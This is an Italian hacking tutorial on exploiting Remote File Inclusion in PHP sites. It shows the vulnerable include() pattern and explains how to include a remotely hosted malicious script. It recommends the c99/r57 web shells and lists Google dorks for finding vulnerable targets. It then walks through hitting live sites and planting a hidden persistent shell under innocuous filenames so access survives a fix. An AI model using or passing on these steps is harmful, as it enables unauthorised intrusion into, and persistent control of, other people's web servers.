|
Pagina 1 di 2 Aggiornamento del 25/01/08: Nella pagina successiva ho messo un piccolo s
Quante volte avete sentito parlare di RFI? Cos'è? Rfi sta per Remote file inclusion, dopo aver letto questa guida e aver fatto un po di pratica caprete sfruttare questa vulnerabilità al meglio. Remote file inclusion vuol dire File incluso da remoto, perciò la tecnica consiste nell'includere un file... ma come? Sfruttanto delle variabili non controllate nelle pagine web dinamiche! facciamo un esempio:
-------codice index.php?pag=prova.php------
$variabile1=$_GET['pag']; include($variabile1);
------fine codice------------
Cosa fa questo script? assegna il valore prova.php alla variabile chiamata "variabile1" e tramite la funzione include la include nella pagina.come possiamo sfruttare questa vulnerabilità? supponiamo di avere uno script in php maligno uppato su uno spazio web e che il suo percorso sia http://sito.com/script.txt (l'estensione dello script non deve essere .php perchè altrimenti verrebbe eseguito sullo spazio uppato non sul sito vulnerabile, perciò diamogli quella che volete, txt, jpg, basta che non sia .php) basterà andare su index.php?pag=http://sito.com/script.txt e....Olè lo script verrà incluso e potrete usarlo come meglio credete.
Cosa sono le shell php? sono degli script con cui potete fare di tutto da uppare file, editare, cancellare, eseguire i comandi del terminale.le più famose sono la c99 e la r57, Vi consiglio di usare la c99, qui non vi spiegherò come usarle perchè è molto banale e l'interfaccia è molto socievole, comunque mi sembrava giusto dare uno spazio anche a loro nella guida. la shell si usa come un qualsiasi script
sitovulnerabile.net/index.php?variabile_non_controllata=indirizzo_shell.txt
Per trovare i siti vulnerabili al rfi, si possono usare gli scanner (di solito sono script in perl che cercano i siti tramite i motori di ricerca) oppure si cercano a mano, tramite le dork.
Le dork sono dei comandi per sfruttare al meglio un motore di ricerca, (per esempio google). Nella sezione download troverete diversi programmi impostati per queste funzioni. Comunque torniamo a noi; mettiamo che volessimo cercare il nome di un file, chiamato "ciao.txt" mettendo semplicemente "ciao.txt" nella ricerca google cercherebbe tutti i sito con all'interno la parola ciao.txt ma non all'interno del nome, ALL'INTERNO DEL CONTENUTO! Ecco qui che ci viene in aiuto la dorkinurl:NOMEFILE per cercare all'interno del nome. Mettiamo per esempio di voler trovare un sito con la shell c99.txt uppata per attuare un attacco.basterà andare su google e digitare inurl:c99.txt chiaro il concetto? Comunque tornando all'argomento principale di questa parte (come trovare siti vulnerabili) vi faccio un esempio uno dei più banali, che in un sito la variabile get venga usata così index.php?page=..... la dork sarà: inurl:index.php?page= oppure
inurl:index.php?include=
ecco qui qualche dork utile:
._____________________________________________________. | Bug | Dork | |-----------------------------------------------------. | index.php?x= | inurl:”index.php?x=*.php” | | index.php?nic= | inurl:”index.php?nic=*.php” | | homepage.php?sel= | inurl:”homepage.php?sel=*.php” | | index.php?sel= | inurl:”index.php?sel=*.php” | | main.php?x= | inurl:”main.php?x=*.php” | | index2.php?x= | inurl:index2.php?x=*.php” | | main.php?pagina= | inurl:”main.php?pagina=*.php” | | test.php?page= | inurl:test.php?page= | |___________________|_________________________________|
P.s. di dork ce ne sono a migliaia e una volta trovato un bug potrete farne di vostre (anche se ripeto che nella sezione download ne troverete alcuni)
Ed ecco ora la descrizione dell'esempio pratico ________________________. occorrente: | ------------------------. un PC | connessione ad internet | web browser | una dork | una shell uppata | ________________________|
Allora andiamo sul nostro bel iper ultra mega(ecc ecc) motore di ricerca preferito Google (http://google.it) proviamo a inserire una dork
inurl:index.php?page=include/ troviamo vari siti vediamo il primo http://sito.it/index.php?page=include/pagina.txt bene proviamo ad includere la shell: http://sitoacazzo.it/index.php?page=indirizzo_shell la parte della pagina dove dovrebbe stare la shell è vuota/un errore, non possiamo sfruttare il rfi. proviamo il sito dopo http://sito2.it/index.php?page=include/chat.php Proviamo ad inserire la shell:
http://sitoacazzo2.it/index.php?page=indirizzo_shell Appare la shell, bene ora potete fare tutto ciò che volete il mio consiglio comunque è quello di addentrarvi nelle cartelle del sito e fare un upload della shell in modo da avere un accesso a quel sito anche se il bug venisse risolto.Naturalmente se nella cartella forum/ ci sono file come msg.php viewprofile.php login.php penso che non sarete tanto stupidi da mettere SHELL_C99.php Questo è tutto; buon hack! isaacisback
|